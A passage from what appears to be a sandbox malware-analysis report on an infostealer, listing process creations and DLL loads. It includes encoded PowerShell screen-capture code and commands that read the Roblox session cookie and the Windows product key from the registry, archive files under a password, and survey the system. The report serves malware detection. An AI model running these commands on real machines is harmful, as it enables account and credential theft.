AAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD5AE.tmp" "c:\Users\user\AppData\Local\Temp\y1aqvv5e\CSCACBE0D10893A4D738567997C9D36227A.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: dciman32.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: pywintypes310.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
